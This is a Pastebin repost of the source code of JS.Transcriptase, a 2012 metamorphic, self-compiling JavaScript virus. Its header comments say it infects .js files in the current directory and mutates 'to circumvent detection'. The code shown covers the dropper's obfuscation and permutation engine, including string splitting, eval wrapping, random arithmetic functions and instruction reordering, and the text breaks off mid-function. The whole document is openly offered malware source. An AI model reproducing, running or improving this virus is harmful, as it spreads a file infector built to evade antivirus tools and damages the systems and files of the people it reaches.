Advertisement
FlyFar

Virus.JS.Transcriptase - Source Code

Jul 4th, 2023
787
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 159.41 KB | Cybersecurity | 0 0
  1. //////////////////////////////////////////////////////////////////////////////
  2. //
  3. //  JS.Transcriptase
  4. //  by Second Part To Hell
  5. //  December 2012
  6. //
  7. //  This is a metamorphic self-compiling virus written in JavaScript.
  8. //
  9. //  The virus consists of two parts:
  10. //      1) The whole virus-code written in (obfuscated) JavaScript language
  11. //      2) The whole virus-code written in a special meta-level language
  12. //
  13. //  The JavaScript-code (as well as the meta-level code) consists of a compiler
  14. //  and an infection algorithm. At execution, the JavaScript-written compiler
  15. //  analyses the meta-level code and derives a new JavaScript code for the next
  16. //  generation (and infect potential victims with that code). The meta-level
  17. //  code is integrated to the new derived generation in a fully obfuscated way.
  18. //
  19. //  The derivation of the new generation works with the following three steps:
  20. //
  21. //  1) PreCompilation
  22. //     1.1) Change of variable and function names
  23. //          Every defined function and variable gets a random name
  24. //
  25. //     1.2) Permutation
  26. //          The order of every instruction in the code and in all sub-branches
  27. //          are choosen randomly - except of connected instructions. Those
  28. //          restrictions are defined in the meta-level code.
  29. //
  30. //     1.3) Creation of random numeric functions
  31. //          A set of up to 35 functions with 1 to 5 inputs are created, which
  32. //          contains arithmetic calculations (+,-,*,/,%) are created. Those will
  33. //          be used for replacing numerical values of 0 to 255.
  34. //
  35. //          Example:
  36. //          function msbxaegrgbfqutl(pllwlqvevm,zorelhvsak,zpzrdbuy,rhuuwrxdj){return (36+zpzrdbuy)+(98+((zorelhvsak-(219-((17-(21%(rhuuwrxdj*10)))-pllwlqvevm)))-rhuuwrxdj))}
  37. //          msbxaegrgbfqutl(161,184,152,9) gives 77
  38. //          msbxaegrgbfqutl(227,205,255,88)) gives 56
  39. //
  40. //
  41. //  2) Code-Creation
  42. //     For every instruction in the meta-code, corresponding instructions of
  43. //     JavaScript are created.
  44. //
  45. //     2.1) Every object, every expression, every number and every string will
  46. //          be derived in a random way.
  47. //
  48. //          Numbers can become calculations, replaced by random numeric function
  49. //                  calls, return values of usual functions or variables.
  50. //          Strings can be splitted into substrings. They can become String.fromCharCode(),
  51. //                  variables or functions.                  
  52. //          Expressions can become eval(...), variables or functions.
  53. //          Objects/Methods can be splitted: object.method() -> somefunc().method()
  54. //
  55. //     2.2) Instructions like "while" or "if" can be exchanged by "for" or
  56. //          "switch/case". WScript.CreateObject/new ActiveXObject can be used
  57. //          vise versa. The condition of if/while can change the logic from
  58. //                   if(a>b) <-> if(b<a) or while(a==b) <-> while(b==a)
  59. //
  60. //          Calculation with numbers/strings is random. For example, increasing
  61. //          a number by one can become (in addition to all mutations from 2.1):
  62. //                       number++; number+=1; number=number+1
  63. //
  64. //          or adding strings:
  65. //                       string1=string1+string2; string1+=string2;
  66. //
  67. //
  68. //  3) Integration
  69. //     The final step includes all variables and functions at random places in
  70. //     the code. Functions can be included at every place (in the global scope),
  71. //     variables are restricted to places before they are used for the first
  72. //     time.
  73. //     In addition, some random variables and functions can be bundled into
  74. //     function-arrays; for example:
  75. //
  76. //        var1=17; var2="Hello VXers!"; if(var1>12){WScript.Echo(var2)}
  77. //                                      ->
  78. //        somearray=[function(){return("Hello VXers!")},17}];
  79. //        if(somearray[1]>12){WScript.Echo(somearray[0]()}
  80. //
  81. //
  82. //  In the end, the virus will search for .JS files in the current directory
  83. //  and prepends the next generation.    
  84. //
  85. //
  86. //  A more detailed explanation of this project can be found in an article
  87. //  called "Metamorphism and Self-Compilation in JavaScript", in valhalla#3.
  88. //
  89. //  The code below is a dropper for a first generation virus. When executing, it
  90. //  creates a file called "Transcript1.js". This first generation does not
  91. //  have all obfuscation features of the whole virus (for instance, the
  92. //  variable/function-name randomization has been deactivated for some reason),
  93. //  but "Transcript1.js" will infect .js files in the current directory with
  94. //  the full obfuscated virus.
  95. //
  96. //  This is version 1 - that means there are hunderts of things to improve and
  97. //  thousands of things to implement. When you have a self-compiling compiler,
  98. //  you can do so many things that you could not even think about before! :)
  99. //
  100. //
  101. //  "Transcriptase" is a process in micro-biology, where RNA code is translated
  102. //  into DNA code. This process is mainly used by retro-viruses such as HIV to
  103. //  infect cells (which are "written" in DNA). The mutation-rate of biologic
  104. //  transcriptase is very high, which makes curing of HIV very difficult.
  105. //  This code has a very similar strategy: It translates its meta-level
  106. //  code (RNA) into JavaScript code (DNA) to infect files (cells). The muation
  107. //  rate is very high as well, to circumvent detection :)
  108. //
  109. //
  110. //  Tested the code at WindowsXP and Windows7. Derivation of the next generation
  111. //  takes a couple of minutes (3-10mins usually) due to unoptimized functions
  112. //  and complex algorithms.
  113. //  
  114. //
  115. //  I thank hh86 for the constant motivation over this long period of time from
  116. //  starting until fixing the last monster-bugs, and for the perfect name... :)
  117. //
  118. //////////////////////////////////////////////////////////////////////////////
  119.  
  120.  
  121. nnn=s(13)+s(10);                                                
  122. function s(n){return(String.fromCharCode(n));}  // fGiveMeString
  123. function r(n){return(Math.floor(Math.random()*n));} // fGiveRandomNumber
  124.  
  125. function randomString() // fGiveRandomString
  126. {
  127.     var rndString='';                                                                                                                                                    
  128.     var RNum3=Math.floor(Math.random()*10)+6;
  129.     for(var i=0;i<RNum3;i++)
  130.     {
  131.         rndString+=s(Math.floor(Math.random()*26)+97);
  132.     }
  133.     return(rndString);
  134. }
  135.  
  136.  
  137. function isNumber(String2Check) //fIsNumber
  138. {
  139.     if(String2Check.charCodeAt(0)>47&&String2Check.charCodeAt(0)<58)
  140.     {
  141.         return(1);
  142.     }
  143.     return(0);
  144. }
  145.  
  146. function GetAntiLogic(operator)  //fGetAntiLogic
  147. {
  148.     var RValue=operator;
  149.     if(operator=='<'){RValue='>';}
  150.     if(operator=='<='){RValue='>=';}
  151.     if(operator=='>'){RValue='<';}
  152.     if(operator=='>='){RValue='<=';}
  153.     return(RValue);
  154. }
  155.  
  156.  
  157. function RemoveVariableMask(CodeStringWithMask) // fRemoveVariableMask
  158. {    
  159.     while(CodeStringWithMask.indexOf('°+')!=-1||CodeStringWithMask.indexOf('+°')!=-1)
  160.     {
  161.         CodeStringWithMask=CodeStringWithMask.replace('°+','');
  162.         CodeStringWithMask=CodeStringWithMask.replace('+°','');
  163.     }
  164.     return(CodeStringWithMask);
  165. }
  166.  
  167.  
  168.  
  169. function RandomizeFunction(a,b) // fRandomizeFunction
  170. {
  171.     return(Math.random()*2-1)
  172. }
  173.  
  174.  
  175. function CreateNumeric(OriginalNum)  // fCreateNumeric
  176. {
  177.     return(OriginalNum) // debugging
  178.     OriginalNum=parseInt(OriginalNum,10);
  179.    
  180.     var CreateNumericType=Math.floor(Math.random()*20);    
  181.    
  182.     if(OriginalNum>10000)
  183.     {
  184.         CreateNumericType=5;    // no calculations with big numbers
  185.     }
  186.     if(OriginalNum>=0&&OriginalNum<=255&&Math.floor(Math.random()*4)!=0)
  187.     {
  188.          var FAElement=FullArray[OriginalNum].length;
  189.          return(FullArray[OriginalNum][Math.floor(Math.random()*FAElement)]);
  190.     }
  191.  
  192.     var CreateNumericRnd=Math.abs(Math.floor(Math.random()*0.9*OriginalNum))+1;
  193.  
  194.     if(OriginalNum<CreateNumericRnd&&CreateNumericType==0)
  195.     {
  196.         return(DeriveVC(OriginalNum,86));
  197.     }
  198.     if(CreateNumericType==0)
  199.     {
  200.         return('('+DeriveVC(CreateNumeric(OriginalNum-CreateNumericRnd)+'+'+CreateNumeric(CreateNumericRnd),200)+')');
  201.     }
  202.     if(CreateNumericType==1)
  203.     {
  204.         return('('+DeriveVC(CreateNumeric(OriginalNum+CreateNumericRnd)+'-'+CreateNumeric(CreateNumericRnd),200)+')');
  205.     }
  206.     if(CreateNumericType==2)
  207.     {
  208.         return('('+DeriveVC(CreateNumeric(OriginalNum*CreateNumericRnd)+'/'+CreateNumeric(CreateNumericRnd),200)+')');
  209.     }
  210.  
  211.     return(DeriveVC(OriginalNum,86));    
  212. }
  213.  
  214.  
  215. function CreateLogic(LogicValues)  // fCreateLogic
  216. {
  217. // LogicValue=VC!VC!operator
  218.     DeriveRestrString=''; // clear it
  219.     var argument1     =LogicValues.substring(0,LogicValues.indexOf('!'));
  220.     var argument2     =LogicValues.substring(LogicValues.indexOf('!')+1,LogicValues.indexOf('?'));
  221.     var logicoperator =LogicValues.substring(LogicValues.indexOf('?')+1);
  222.     var antilogic     =GetAntiLogic(logicoperator);
  223.  
  224.     CLDeriv=DeriveRestrictVC;     // use function-references
  225.     if(isNumber(argument2)==1){CLDeriv=DeriveVC;}
  226.  
  227.     if(NoDerivation1==0)
  228.     {
  229.         argument1=DeriveRestrictVC(argument1,24);
  230.     }
  231.     argument2=CLDeriv(argument2,24);
  232.  
  233.     RNum1=Math.floor(Math.random()*2);
  234.     if(RNum1==0)
  235.     {
  236.         CreateLogicRV=argument1+logicoperator+argument2;
  237.     }
  238.     if(RNum1==1)
  239.     {
  240.         CreateLogicRV=argument2+antilogic+argument1;
  241.     }    
  242.     return(CreateLogicRV);
  243. }
  244.  
  245.  
  246.  
  247. function DeriveVC(arg,probalility)  // fDeriveVC
  248. {
  249.     var RNum2=Math.floor(Math.random()*probalility);
  250.     //RNum2=13;  // debugging
  251.     if(RNum2<10) // VC -> value
  252.     {
  253.         var DVCTmpName=randomString();
  254.         VarDefs.push(arg);
  255.         VarNames.push(DVCTmpName);
  256.         var Rname1=DeriveVC(DVCTmpName,60);
  257.         return(Rname1);
  258.     }
  259.     return(arg);
  260. }
  261.  
  262.  
  263.  
  264. function GetVariableList(CodeStringWithMask)  // fGetVariableList
  265. {    
  266.     var VarListRV="";
  267.     while(CodeStringWithMask.indexOf('°+')!=-1)   // collect variables in this code line
  268.     {
  269.         VarListRV+=CodeStringWithMask.substring(CodeStringWithMask.indexOf('°+'),CodeStringWithMask.indexOf('+°')+2)+","; // (ccc)
  270.         CodeStringWithMask=CodeStringWithMask.replace('°+','');
  271.         CodeStringWithMask=CodeStringWithMask.replace('+°','');
  272.     }
  273.     return("_*_*"+VarListRV.substring(0,VarListRV.length-1)+"*_*_")
  274. }
  275.  
  276.  
  277.  
  278. function RemoveVariableIndicator(CodeStringWithMask)  // fRemoveVariableIndicator
  279. {    
  280.     while(CodeStringWithMask.indexOf('_*_*')!=-1)
  281.     {
  282.         CodeStringWithMask=CodeStringWithMask.substring(0,CodeStringWithMask.indexOf('_*_*'))+CodeStringWithMask.substring(CodeStringWithMask.indexOf('*_*_')+4);
  283.     }
  284.     return(CodeStringWithMask);
  285. }
  286.  
  287.  
  288. function DeriveRestrictVC(arg,probalility,novars)  // fDeriveRestrictVC  
  289. {
  290.     var WhichRnd=Math.floor(Math.random()*probalility)
  291.     if(arg.toString().indexOf("eval(")!=-1){WhichRnd+=7;}      
  292.     if(WhichRnd>10)
  293.     {
  294.         return(arg);
  295.     }
  296.    
  297.     var RndString=randomString();
  298.     if(WhichRnd>8&&novars!=1)
  299.     {
  300.         if(r(2)==0)
  301.         {
  302.             DeriveRestrString+="var "+RndString+'='+arg+'@;';
  303.         }
  304.         else
  305.         {
  306.             DeriveRestrString="var "+RndString+'='+arg+'@;'+DeriveRestrString;
  307.         }
  308.         return(RndString);
  309.     }
  310.     if(WhichRnd>6) // VC -> value
  311.     {
  312.         var VariableString=GetVariableList(arg.toString())
  313.         arg=RemoveVariableMask(arg.toString());
  314.         arg=RemoveVariableIndicator(arg);
  315.         return('eval('+CreateString(arg)+')'+VariableString);
  316.     }  
  317.     var VariableList=[];
  318.     var VariableListRnd=[];
  319.     arg=CreateVariableListForFunctionCalls(arg,VariableList,VariableListRnd)
  320.     FunctionNames.push(RndString);
  321.     FunctionArgs.push('('+VariableListRnd.join()+')');
  322.     FunctionDefs.push('return '+arg);
  323.     var ReturnValue=VariableList.join('+°,°+');
  324.     if(VariableList.length>0)
  325.     {
  326.         ReturnValue='°+'+ReturnValue+'+°';
  327.     }
  328.     return(RndString+'('+ReturnValue+')');
  329. }
  330.  
  331.  
  332.  
  333. function CreateVariableListForFunctionCalls(CodeString,VarArrOrig,VarArrRnd)  // fCreateVariableListForFunctionCalls
  334. {
  335.     CopyexecCode=CodeString.toString();
  336.     while(CopyexecCode.indexOf('°+')!=-1)   // collect variables in this code line
  337.     {
  338.         VarArrOrig.push(CopyexecCode.substring(CopyexecCode.indexOf('°+')+2,CopyexecCode.indexOf('+°')));
  339.         CopyexecCode=CopyexecCode.substring(CopyexecCode.indexOf('+°')+2);
  340.     }
  341.     for(var i=0;i<VarArrOrig.length;i++)    // remove every variable with a new argument-name
  342.     {
  343.         var RandNameForFuncArg=randomString();
  344.         VarArrRnd.push(RandNameForFuncArg);
  345.         while(CodeString.indexOf(VarArrOrig[i])!=-1)
  346.         {
  347.             CodeString=CodeString.replace(VarArrOrig[i],RandNameForFuncArg);
  348.         }
  349.     }
  350.     return(CodeString);
  351. }
  352.  
  353.  
  354. function CreateExecution(execCode,noFunctionCreation)  // fCreateExecution        
  355. {
  356.     var RNum4=Math.floor(Math.random()*8);
  357.  
  358.     if(noFunctionCreation==1)
  359.     {
  360.         RNum4=Math.floor(Math.random()*5);
  361.     }
  362.    
  363.     if(RNum4<2)
  364.     {
  365.         return(execCode);
  366.     }
  367.    
  368.     if(RNum4<5&&execCode.substring(0,7)!='return(')
  369.     {        
  370.         var VariableString=GetVariableList(execCode)
  371.         execCode=RemoveVariableMask(execCode);
  372.         execCode=RemoveVariableIndicator(execCode);                          
  373.         return('eval('+CreateString(execCode)+')'+VariableString);
  374.     }
  375.    
  376.     if(execCode.indexOf("eval(")!=-1){return(execCode);}
  377.    
  378.     var Rname5=randomString();
  379.  
  380.     if(RecordFunctionVariables==0)  // first initialisation
  381.     {
  382.         RecordFunctionFN=FunctionNames.length;
  383.         RecordFunctionVN=VarNames.length;    
  384.         FunctionVariableFctName.push(Rname5);
  385.     }
  386.     RecordFunctionVariables++;
  387.  
  388.     var VariableList=[];
  389.     var VariableRndList=[];
  390.     execCode=CreateVariableListForFunctionCalls(execCode,VariableList,VariableRndList)
  391.  
  392.     FunctionDefs.push(CreateExecution(execCode));
  393.     FunctionNames.push(Rname5);
  394.     FunctionArgs.push('('+VariableRndList.join()+')');
  395.     RecordFunctionVariables--;
  396.  
  397.     if(RecordFunctionVariables==0)  // final summing up of variable/function names
  398.     {
  399.         RecordFctNames=FunctionNames.slice(RecordFunctionFN);
  400.         RecordVarNames=VarNames.slice(RecordFunctionVN);
  401.         FunctionVariableNameArray.push(RecordVarNames.concat(RecordFctNames));
  402.     }
  403.  
  404.     var ReturnValue=VariableList.join('+°,°+');
  405.     if(VariableList.length>0)
  406.     {
  407.         ReturnValue='°+'+ReturnValue+'+°';
  408.     }
  409.  
  410.     if(execCode.substring(0,7)=='return(')
  411.     {
  412.         return('return '+Rname5+'('+ReturnValue+')')
  413.     }
  414.  
  415.     return(Rname5+'('+ReturnValue+')');
  416. }
  417.  
  418.  
  419. function CreateString(plainString)  // fCreateString
  420. {
  421.     var InString=plainString;
  422.     var RNum6=Math.floor(Math.random()*InString.length/6);
  423.     if(InString.length>1000)               // new
  424.     {
  425.         RNum6=Math.floor(Math.random()*InString.length/50);
  426.     }
  427.     for(i=0;i<RNum6;i++)
  428.     {
  429.         RNum7=Math.floor(Math.random()*InString.length);
  430.         InString=InString.substring(0,RNum7)+'@@'+InString.substring(RNum7);
  431.     }
  432.     while(InString.indexOf('@@@@')!=-1)    // just in 1st gen... may it help??
  433.     {
  434.         InString=InString.replace('@@@@','@@');
  435.     }
  436.     var SplitStr=InString.split('@@');
  437.     var RVstring='';
  438.     for(var j=0;j<SplitStr.length;j++)
  439.     {
  440.         var RNum8=Math.floor(Math.random()*20);
  441.         RNum8=1;  // *** debug
  442.         if(RNum8<5)
  443.         {
  444.             while(SplitStr[j].indexOf(s(39))!=-1)
  445.             {
  446.                 SplitStr[j]=SplitStr[j].replace(s(39),s(35)+s(35)+s(35)+'+String.fromCharCode(39)+'+s(35)+s(35)+s(35))   // new            
  447.             }
  448.             while(SplitStr[j].indexOf(s(35)+s(35)+s(35))!=-1)            // new
  449.             {
  450.                 SplitStr[j]=SplitStr[j].replace(s(35)+s(35)+s(35),s(39))       // new        
  451.             }
  452.             RVstring+=s(39)+SplitStr[j]+s(39)+'+';
  453.         }
  454.         if(RNum8>4&&RNum8<8)
  455.         {
  456.             var Rname6=randomString();
  457.             VarDefs.push(CreateString(SplitStr[j]));
  458.             VarNames.push(Rname6);
  459.             RVstring+=DeriveVC(Rname6,24)+'+';
  460.         }        
  461.         if(RNum8>7)
  462.         {
  463.             var TmpCharCode='';
  464.             for(k=0;k<SplitStr[j].length;k++)
  465.             {
  466.                 TmpCharCode+=CreateNumeric(SplitStr[j].charCodeAt(k))+',';
  467.             }
  468.             TmpCharCode=TmpCharCode.substr(0,TmpCharCode.length-1);                    
  469.             RVstring+='String.fromCharCode('+TmpCharCode+')+';
  470.         }
  471.     }
  472.     return(RVstring.substring(0,RVstring.length-1));
  473. }
  474.  
  475.  
  476. function PreCompilation()  // fPreCompilation - not a function anymore
  477. {
  478.     // Make random bruteforce decryption functions
  479.  
  480.     FullArray=[];    
  481.     for(var FillA=0;FillA<256;FillA++)
  482.     {
  483.         FullArray.push([FillA]);
  484.     }
  485.    
  486.     for(var NumberOfFunctionCreation=0;NumberOfFunctionCreation<75;NumberOfFunctionCreation++)
  487.     {
  488.         F='(SOS)O(SOS)';
  489.         while(F.indexOf('S')!=-1)
  490.         {
  491.             if(r(4)==0)
  492.             {
  493.                 F=F.replace('S','(SOS)')
  494.             }
  495.             else
  496.             {
  497.                 F=F.replace('S','X');
  498.             }
  499.         }
  500.        
  501.         while(F.indexOf('O')!=-1)
  502.         {
  503.             var OperatorArray=['+','+','-','-','*','%']
  504.             F=F.replace('O',OperatorArray[r(6)]);
  505.         }
  506.        
  507.         var FunctionArguments=[];
  508.         var FunctionArgLength=r(4)+2;
  509.         for(var RSc=0;RSc<FunctionArgLength;RSc++)
  510.         {
  511.             FunctionArguments.push(randomString());
  512.         }
  513.        
  514.         while(F.indexOf('X')!=-1)
  515.         {
  516.             if(r(2)==0)
  517.             {  
  518.                 F=F.replace('X',FunctionArguments[r(FunctionArguments.length)]);
  519.             }
  520.             else
  521.             {
  522.                 F=F.replace('X',r(256));
  523.             }
  524.         }
  525.        
  526.         for(var VarCount=FunctionArguments.length;VarCount>=0;VarCount--)
  527.         {
  528.             if(F.indexOf(FunctionArguments[VarCount])==-1)
  529.             {
  530.                 FunctionArguments.splice(VarCount,1);
  531.             }
  532.         }
  533.        
  534.         if(FunctionArguments.length>0)
  535.         {
  536.             var Fname=randomString();
  537.             G='function '+Fname+'('+FunctionArguments.join()+'){return('+F+');}';
  538.        
  539.             eval(G);  
  540.             var IsItAUsefulFunction=0;
  541.            
  542.             for(var EvalFctC=0;EvalFctC<100;EvalFctC++)
  543.             {
  544.                 FFilledArguments=[]
  545.                 for(var FFc=0;FFc<FunctionArguments.length;FFc++)
  546.                 {
  547.                     FFilledArguments.push(r(256))    
  548.                 }
  549.                
  550.                 FCall=Fname+'('+FFilledArguments.join()+')';
  551.  
  552.                 FResult=eval(FCall);  
  553.                 if(FResult>=0&&FResult<256)
  554.                 {
  555.                     IsItAUsefulFunction=1;
  556.                     FullArray[FResult].push(FCall);
  557.                 }
  558.             }
  559.            
  560.             if(IsItAUsefulFunction==1)
  561.             {
  562.                 FunctionDefs.push('return '+F);
  563.                 FunctionArgs.push('('+FunctionArguments.join()+')');  
  564.                 FunctionNames.push(Fname);
  565.             }
  566.         }
  567.     }  
  568.  
  569.     // Make some instruction definition
  570.     while(MetaLevelLanguage.indexOf("$CreateObject$")!=-1)
  571.     {
  572.         if(Math.floor(Math.random()*2)==0)
  573.         {
  574.             MetaLevelLanguage=MetaLevelLanguage.replace("$CreateObject$","WScript#.CreateObject");
  575.         }
  576.         else
  577.         {
  578.             MetaLevelLanguage=MetaLevelLanguage.replace("$CreateObject$","new ActiveXObject");
  579.         }
  580.     }
  581.    
  582.      
  583.     // Define random variable names
  584.     /*
  585.     // This feature should not be activated in the 0th-generation dropper
  586.     // because it might interfere with the "victory"-instruction, which is
  587.     // responsible for including the metacode to the next generation. Therefor the
  588.     // dropped output can can still be understood relatively simple (you can
  589.     // compare the used variables with the variables in the meta-code and understand
  590.     // further the code - this is how i did the first stage of bug-fixing), so it can
  591.     // be used to learn about the mutations in general. This feature is just
  592.     // deactivated in this 0-generation dropper - everything is fully activated
  593.     // in every further generation. (in fact this is no fundamental problem, but
  594.     // it could be solved relativly quick. but i'm just to lazy to optimize the
  595.     // dropper :))    
  596.     var CopyMetaLevelLanguage=MetaLevelLanguage;
  597.     CopyMetaLevelLanguage=CopyMetaLevelLanguage.replace(')var',')def');
  598.     CopyMetaLevelLanguage=CopyMetaLevelLanguage.replace(')while(var',')while(');   // also consider while(var VariableName=...)    
  599.     CopyMetaLevelLanguage=CopyMetaLevelLanguage.replace(')while(',')def');  
  600.     while(CopyMetaLevelLanguage.indexOf(')def ')!=-1)
  601.     {
  602.         CopyMetaLevelLanguage=CopyMetaLevelLanguage.substring(CopyMetaLevelLanguage.indexOf(')def ')+1);
  603.         var VariableNameGlobal=CopyMetaLevelLanguage.substring(4,CopyMetaLevelLanguage.indexOf('='));
  604.         var RandomVariableName=randomString();
  605.         while(MetaLevelLanguage.indexOf(VariableNameGlobal)!=-1)
  606.         {
  607.             MetaLevelLanguage=MetaLevelLanguage.replace(VariableNameGlobal,RandomVariableName);
  608.         }
  609.         CopyMetaLevelLanguage=CopyMetaLevelLanguage.replace(')var',')def');
  610.         CopyMetaLevelLanguage=CopyMetaLevelLanguage.replace(')while(var',')while(');
  611.         CopyMetaLevelLanguage=CopyMetaLevelLanguage.replace(')while(',')def');
  612.     }
  613.     // Define random function names
  614.     var CopyMetaLevelLanguage=MetaLevelLanguage;
  615.     while(CopyMetaLevelLanguage.indexOf(')function ')!=-1)
  616.     {
  617.         CopyMetaLevelLanguage=CopyMetaLevelLanguage.substring(CopyMetaLevelLanguage.indexOf(')function ')+1);
  618.         var FunctionName=CopyMetaLevelLanguage.substring(9,CopyMetaLevelLanguage.indexOf('('));
  619.         var RandomVariableName=randomString();
  620.         while(MetaLevelLanguage.indexOf(FunctionName)!=-1)
  621.         {
  622.             MetaLevelLanguage=MetaLevelLanguage.replace(FunctionName,RandomVariableName);
  623.         }
  624.         FctArguments=CopyMetaLevelLanguage.substring(CopyMetaLevelLanguage.indexOf('(')+1,CopyMetaLevelLanguage.indexOf(')'));
  625.         var SingleFArguments="";
  626.         if(FctArguments.length>0)
  627.         {
  628.             SingleFArguments=FctArguments.split(',');
  629.         }
  630.         for(var i=0;i<SingleFArguments.length;i++)
  631.         {
  632.             var RandomVariableNameArgs=randomString();
  633.             while(MetaLevelLanguage.indexOf(SingleFArguments[i])!=-1)
  634.             {
  635.                 MetaLevelLanguage=MetaLevelLanguage.replace(SingleFArguments[i],RandomVariableNameArgs);
  636.             }
  637.         }
  638.     } */
  639. }
  640.  
  641.  
  642. function Permutator(MLL)  // fPermutator
  643. {
  644.     var InfoCodeArray=[];
  645.     var PermIdentifier=[];
  646.     var RequiredCodes=[];
  647.     var MLLcount=0;
  648.     for(var i=0; MLLcount<MLL.length; i++)
  649.     {  
  650.         PermIdentifier[i]=MLL[MLLcount].substring(MLL[MLLcount].indexOf('(')+1,MLL[MLLcount].indexOf('|'));
  651.         RequiredCodes[i]=MLL[MLLcount].substring(MLL[MLLcount].indexOf('|')+1,MLL[MLLcount].indexOf(')'));
  652.         InfoCodeArray[i]=[];
  653.         InfoCodeArray[i][0]=MLL[MLLcount].substring(MLL[MLLcount].indexOf(')')+1);
  654.         if(InfoCodeArray[i][0].substring(0,2)=='if')
  655.         {
  656.             var NumberOfLinesIf=parseInt(MLL[MLLcount].substring(MLL[MLLcount].lastIndexOf(')')+1),10);
  657.             InfoCodeArray[i]=InfoCodeArray[i].concat(Permutator(MLL.slice(MLLcount+1,MLLcount+NumberOfLinesIf+1)));
  658.             MLLcount=MLLcount+NumberOfLinesIf+1;      // pointer to else-line (which contains the number of elements contained in else)
  659.            
  660.             var NumberOfLinesElse=parseInt(MLL[MLLcount].substring(MLL[MLLcount].lastIndexOf(')')+1),10);            
  661.             //WScript.Echo("MLL: "+ MLL+nnn+nnn+"NumberOfLinesIf: "+NumberOfLinesIf+nnn+"MLL[MLLcount]: "+MLL[MLLcount]+nnn+"NumberOfLinesElse: "+NumberOfLinesElse+nnn+"MLLcount: "+MLLcount)
  662.  
  663.             InfoCodeArray[i]=InfoCodeArray[i].concat(MLL[MLLcount].substring(MLL[MLLcount].lastIndexOf(')')+1));   // add the else-number part
  664.             if(NumberOfLinesElse>0)  // if there are lines in the else-part, add them
  665.             {
  666.                 InfoCodeArray[i]=InfoCodeArray[i].concat(Permutator(MLL.slice(MLLcount+1,MLLcount+NumberOfLinesElse+1)));
  667.             }
  668.             MLLcount=MLLcount+NumberOfLinesElse;
  669.         }
  670.         if(InfoCodeArray[i][0].substring(0,5)=='while')
  671.         {
  672.             var NumberOfLinesWhile=parseInt(MLL[MLLcount].substring(MLL[MLLcount].lastIndexOf(')')+1),10);
  673.             InfoCodeArray[i]=InfoCodeArray[i].concat(Permutator(MLL.slice(MLLcount+1,MLLcount+NumberOfLinesWhile+1)));
  674.             MLLcount=MLLcount+NumberOfLinesWhile;
  675.         }
  676.         if(InfoCodeArray[i][0].substring(0,9)=='function ')
  677.         {
  678.             var NumberOfLinesFunction=parseInt(MLL[MLLcount].substring(MLL[MLLcount].lastIndexOf(')')+1),10);
  679.             InfoCodeArray[i]=InfoCodeArray[i].concat(Permutator(MLL.slice(MLLcount+1,MLLcount+NumberOfLinesFunction+1)));
  680.             MLLcount=MLLcount+NumberOfLinesFunction;
  681.         }
  682.         MLLcount++;
  683.     }
  684.     RequiredCodes.push();
  685.     var PermutatedCodeArray=[];
  686.     while(InfoCodeArray.length>0)
  687.     {
  688.         var RandomElement=r(InfoCodeArray.length);    
  689.         if(RequiredCodes.toString().indexOf(PermIdentifier[RandomElement])==-1)
  690.         {
  691.             PermutatedCodeArray=InfoCodeArray[RandomElement].concat(PermutatedCodeArray);
  692.             InfoCodeArray.splice(RandomElement,1);
  693.             PermIdentifier.splice(RandomElement,1);
  694.             RequiredCodes.splice(RandomElement,1);
  695.         }
  696.     }
  697.     return(PermutatedCodeArray.slice())
  698. }
  699.  
  700.  
  701. function CreateObjectExecution(InputObject)  // fCreateObjectExecution
  702. {
  703.     while(InputObject.indexOf(s(35)+s(79))!=-1)  // #ON
  704.     {
  705.         var ObjectNumber=InputObject.charAt(InputObject.indexOf(s(35)+s(79))+2)
  706.         var FullObject=InputObject.substring(InputObject.indexOf(s(35)+s(79))+3,InputObject.indexOf(ObjectNumber+s(79)+s(35)));
  707.         InputObject=InputObject.substring(0,InputObject.indexOf(s(35)+s(79)))+CreateObjectExecution(FullObject)+InputObject.substring(InputObject.indexOf(ObjectNumber+s(79)+s(35))+3);
  708.     }
  709.     while(InputObject.indexOf(s(35)+s(46))!=-1)
  710.     {
  711.         if(Math.floor(Math.random()*3)==0)            // object.method() -> f().methode()
  712.         {  
  713.             var ObjectName=randomString();
  714.            
  715.             var VariableList=[];
  716.             var VariableListRnd=[];
  717.             var ObjString=InputObject.substring(0,InputObject.indexOf(s(35)+s(46)));
  718.             while(ObjString.indexOf(s(35)+s(120))!=-1)
  719.             {
  720.                 var COEexecNum=ObjString.charAt(ObjString.indexOf(s(35)+s(120))+2);
  721.                 ObjString=ObjString.replace(s(35)+s(120)+COEexecNum,"");        // remove the #xN and Nx#
  722.                 ObjString=ObjString.replace(COEexecNum+s(120)+s(35),"");
  723.             }
  724.             ObjString=CreateVariableListForFunctionCalls(ObjString,VariableList,VariableListRnd)
  725.             FunctionDefs.push('return '+ObjString);
  726.             FunctionNames.push(ObjectName);
  727.             FunctionArgs.push('('+VariableListRnd.join()+')');
  728.            
  729.             var ReturnValue=VariableList.join('+°,°+');
  730.             if(VariableList.length>0)
  731.             {
  732.                 ReturnValue='°+'+ReturnValue+'+°';
  733.             }
  734.             InputObject=CreateObjectExecution(ObjectName+'('+ReturnValue+')'+InputObject.substring(InputObject.indexOf(s(35)+s(46))+1));
  735.         }
  736.         else
  737.         {
  738.             InputObject=CreateObjectExecution(InputObject.replace(s(35)+s(46),s(46)));          
  739.         }
  740.     }
  741.     return(InputObject);    
  742. }
  743.  
  744.  
  745. function ExecutionParser(ExecString)  // fExecutionParser
  746. {
  747.     while(ExecString.indexOf(s(35)+s(120))!=-1)  // #xN
  748.     {
  749.         var ExecutionNumber=ExecString.charAt(ExecString.indexOf(s(35)+s(120))+2)
  750.         //WScript.Echo("#x"+ExecutionNumber+nnn+nnn+ExecString)
  751.         DeriveRestrString="";
  752.         var newExecutionToReplace=ExecString.substring(ExecString.indexOf(s(35)+s(120))+3,ExecString.indexOf(ExecutionNumber+s(120)+s(35)));
  753.         ExecString=ExecString.substring(0,ExecString.indexOf(s(35)+s(120)))+DeriveRestrictVC(ExecutionParser(newExecutionToReplace),100,1)+ExecString.substring(ExecString.indexOf(ExecutionNumber+s(120)+s(35))+3);
  754.     }
  755.     return(ExecString)
  756. }
  757.  
  758.  
  759. function CreateBlockOfCode(CodeBlockArray)  // fCreateBlockOfCode
  760. {
  761.     var RString='';
  762.     var CodeLineIndex=0;
  763.     var LocalVarName=[];
  764.     var LocalVarDefs=[];
  765.     HierarchyOfCalls++;
  766.     while(CodeLineIndex<CodeBlockArray.length)
  767.     {        
  768.         var SingleElement=CodeBlockArray[CodeLineIndex];
  769.         while(SingleElement.indexOf(s(35)+s(34))!=-1)  // #"                            
  770.         {
